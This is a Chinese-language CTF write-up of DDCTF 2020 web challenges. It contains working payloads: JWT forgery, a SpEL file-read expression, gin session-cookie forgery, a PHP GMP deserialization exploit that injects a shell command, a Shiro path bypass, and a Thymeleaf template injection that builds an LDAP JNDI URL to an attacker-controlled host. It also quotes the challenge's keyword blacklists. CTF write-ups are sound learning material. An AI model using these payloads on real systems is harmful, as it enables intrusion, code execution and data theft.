DDCTF 2020 Web WriteUp

不得不说,DDCTF 的题要比各种国内杯要好不少的(5毛一条 XD)

虽然打到最后也没出 Java Web,最后第十也算是弥补了之前的遗憾吧

Web 签到题

出题人六级过了嘛(

[-][Safet Reminder]The Private key cannot use request parameter

那么也就提示我们签名 jwt 的密钥是用户传上去的,为了方便爆破,用户名和密码都填 admin,登录一下拿 c-jwt-cracker 爆破一下试试

1

那么确认了就是密码(或用户名)吧,jwt.io 在线伪造一个就行了,拿到 client

拿到手 client 是个 golang 的 binary,然后掏出 IDA 逆一下(web 狗表示强烈谴责)

先用 IDA Golang Helper 恢复一下符号表,然后搜 main,找到签名函数

2

3

4

大概就是 base64(hmac('command|timestamp', secret)),口糊一个 golang 就行了,secret 就是 DDCTFWithYou

package main

import (
    "fmt"
    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "time"
    "strconv"
    "os"
)

func main () {
    args := os.Args
    secret := "DDCTFWithYou"

    t := time.Now().Unix()
    p := args[1] + "|" + strconv.Itoa(int(t))

    fmt.Println(p)
    h := hmac.New(sha256.New, []byte(secret))
    h.Write([]byte(p))
    fmt.Println(base64.StdEncoding.EncodeToString(h.Sum(nil)))
}

然后 golang 发包懒得逆了,用电线鲨鱼抓一下包

5

那么就很清楚了,按照这个格式发包就完了

然后是 Fuzz 后端,虽然一开始就发现是 Spring Boot,但是当时还是没想到后端就是 Java + SpEL

Fuzz 的时候发现 {1, 2, 3, 4} 这种被解析成了数组, ({1, 2, 3, 4}).size() 为 4,猜测是 Java 语言

然后 ''.class 回显是 java.lang.String,确定后端是 Java

然后又是一波 Fuzz,forNamegetClass 都不能用,猜测是模板语言,最后发现是 SpEL,网上抄个 exp 改一下即可

T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'), T(java.nio.charset.Charset).defaultCharset())

礼物商城

Fuzz 了好久,最后 ccd 提示是 golang 的整数溢出才发现(

借一个巨大无比的数字(比如 1145141919810)

GET /574da2df50d5d7ea64621e38a8bd6ad4/loans?loans=1145141919810

然后就会发现只需要还 8xxxx,等还完就可以兑换礼品了,然后这里给了一个提示

恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: [email protected],你能看懂它的含义吗?

夹心饼干当然就是 cookie 了,杜松子酒也就是琴酒(柯南 boss?)也就是 gin,告诉你了 secretkey,串起来就是 gin 的 cookie 伪造了

那么口糊一个 golang web

package main

import (
    "fmt"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func main() {
    app := gin.Default()

    store := cookie.NewStore([]byte("[email protected]"))
    app.Use(sessions.Sessions("session", store))

    app.GET("/fuck", func(c *gin.Context) {
        session := sessions.Default(c)
        p := session.Get("admin")
        session.Set("admin", true)
        fmt.Println(p)
        session.Save()
        c.JSON(200, gin.H{"count": 1})
    })

    err := app.Run(":3000")
    if err != nil {
        fmt.Printf("err: %s", err)
    }
}

带上之前的 cookie 发过去,用之后的 cookie 发 /flag 即可

OverwriteMe

源码给了

<?php
error_reporting(0);

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}

class Prompter
{
    protected  $hint;
    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class Repeater
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        var_dump($this->content);
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$show = new Display();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
    highlight_file(__FILE__);
    die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
    $infos = new Info();
}else
{
    $obstacle = new stdClass;
    $mc = new MyClass();
    $mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
    @unserialize($bullet);
    var_dump($mc);
    echo $mc->get_flag();
}

感觉题目出糊了,应该是反序列化读 hint/hint.php 来读 flag 的前半部分的,但是直接访问就拿到了,,,所以给的文件包含 pop 链没有用

hint 里面提到了 GMP,那么就是 GMP 的类型混淆覆盖掉 $mc->flag 来命令注入拿 shell 了,这里 open_basedir/var/www/html,所以不能临时文件包含 getshell

网上资料不多,搜 GMP 反序列化,找了一篇看了下,凑出来了一个 exp

<?php

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        var_dump($this->flag);
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}
class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

$show = new Display();
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";

// 因为 $mc 是第三个实例化的,所以应该填 s:1:"3"
$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}}';

$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}i:1;O:7:"MyClass":1:{s:5:"kw0ng";R:3;}}';

unserialize($exploit);

var_dump($show);
var_dump($obstacle);
var_dump($mc);

echo $mc->get_flag();

echo urlencode($exploit);
echo "\n";
?>

其实这道题还可以用 Display 类的 __toString 方法来读文件,套路跟之前 RCTF 的 swoole 一样,不再多说了

EasyWeb

这道题其实没有出,有点操蛋,也记录一下吧

首先是 /img?img=xxx 读文件,能读到字节码,反编译出来能看到绝大部分内容,同时也有管理界面的路由

import com.ctf.util.SafeFilter;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletResponse;

public class SafeFilter implements Filter {
  private final String encoding = "UTF-8";

  private static String[] blacklists = new String[] { 
      "java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", 
      "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io" };

  public void init(FilterConfig arg0) throws ServletException {}

  public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
    request.setCharacterEncoding("UTF-8");
    response.setCharacterEncoding("UTF-8");
    Enumeration<String> pNames = request.getParameterNames();
    while (pNames.hasMoreElements()) {
      String name = pNames.nextElement();
      String value = request.getParameter(name);
      for (String blacklist : blacklists) {
        Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
        if (matcher.find()) {
          HttpServletResponse servletResponse = (HttpServletResponse)response;
          servletResponse.sendError(403);
        } 
      } 
    } 
    filterChain.doFilter(request, response);
  }

  public void destroy() {}
}

这就是黑名单了,限制非常严

然后读 shiro 的包能读到版本,网上能搜到 CVE,直接绕过进 admin 就行了

POST /03a75d3bfcce148fd4fe6b24044ad0cd/web;/68759c96217a32d5b368ad2965f625ef/customize

content=

信息收集了一波,部分版本如下

  • Shiro: 1.5.2
  • Spring-beans: 5.0.16.RELEASE
  • CC: 3.2.2
  • JDK: 8u232b09
  • 没有 tomcat-el 包

CC 3.2.2,jdk 8u232,真狠啊

最后绕了很久没有出,结束后看了眼师傅们的 wp,是模版特性绕过(二次渲染?)

不过绕的时候发现了个很有趣的东西,可以打 jndi

<div th:with=fuck1=${T(com.sun.rowset.JdbcRowSetImpl).newInstance()}>
<div th:with=fuck2=ldap>
<div th:with=fuck3=ip.addr.here>
<div th:with=fuck5=9999>
<div th:with=fuck6=com.sun.jndi.cosnaming.object.trustURLCodebase>
<div th:with=fuck7=Exploit>
<div th:with=fuck8=com.sun.jndi.rmi.object.trustURLCodebase>
<div th:with=fuck4=${fuck2.concat(T(Character).toChars(58)).concat(T(Character).toChars(47)).concat(T(Character).toChars(47)).concat(fuck3).concat(T(Character).toChars(58)).concat(fuck5).concat(T(Character).toChars(47)).concat(fuck7)}>
 <p th:text=${fuck5}></p>
 <p th:text=${fuck6}></p>
 <p th:text=${T(System).setProperty(fuck6,true)}></p>
 <p th:text=${T(System).setProperty(fuck8,true)}></p>
 <p th:text=${fuck1.getDataSourceName()}></p>
 <p th:text=${fuck1.setDataSourceName(fuck4)}></p>
 <p th:text=${fuck1.getDataSourceName()}></p>
 <p th:text=${fuck1.setAutoCommit(true)}></p>
</div>
</div>
</div>
</div>

可以这样绕掉黑名单,打 jndi 出来,但是由于 JDK 版本太高,打出来必须得用本地反序列化链,但是找了很久没找到,哭哭

注意这里两个关掉 rmi 和 jndi 的保护配置在这个 JDK 版本其实都是没用滴(x

这篇文章总结的很不错 如何绕过高版本JDK的限制进行JNDI注入利用

其实打 jndi 出来还可以再用 RMIConnectWithUnicastRemoteObject 绕过打出来 rmi 套娃再用本地 gadget 打,但是这道题里面没有 tomcat-el (或者也有可能我姿势不太对),最后也没空找本地 gadget,因此最后也没有打通,就很气

可以看这个很有意思的项目 wh1t3p1g/ysomap

顺便这个题的黑名单只过滤了 GET 或 POST 参数,因此可以用 HTTP 头来绕掉黑名单

fuck=any-bad-words

<p th:text=${#request.getHeader(fuck)}></p>

发表评论

发表评论

*

沙发空缺中,还不快抢~